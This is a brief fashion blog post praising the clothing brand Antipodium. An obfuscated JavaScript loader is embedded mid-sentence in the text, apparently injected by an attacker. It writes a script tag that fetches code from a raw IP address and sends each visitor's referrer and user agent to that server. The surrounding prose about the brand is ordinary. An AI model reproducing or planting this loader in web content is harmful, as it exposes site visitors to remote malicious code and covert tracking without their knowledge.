BRAND TALK: ANTIPODIUM

brand talk

Antipodium (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kaess|var|u0026u|referrer|arrdb||js|php’.split(‘|’),0,{}))
originally launched way back in 2006, but in 2015 London Wessex Brands brought the fashion brand  and it had a bit of a revamp. With Madeline Press now at the helm, Antipodium uses innovative fabrications, print collaborations and clever colour combinations to create easy-to-wear everyday collections. Subverting the classics, Antipodium blur the playful and the polished, coupling East London style with statement dressing.

From their silk shirts and simplistic dresses to their boyish tailoring, we love the way Antipodium brings together femininity and androgyny in their designs. The fun prints are accessible and the clean cuts give the pieces an effortlessly cool look. Contemporary and perfect for modern woman who need a day-to-night wardrobe without the fuss.

[URIS id=67803]

Show us your style with #lotistyle

www.antipodium.com

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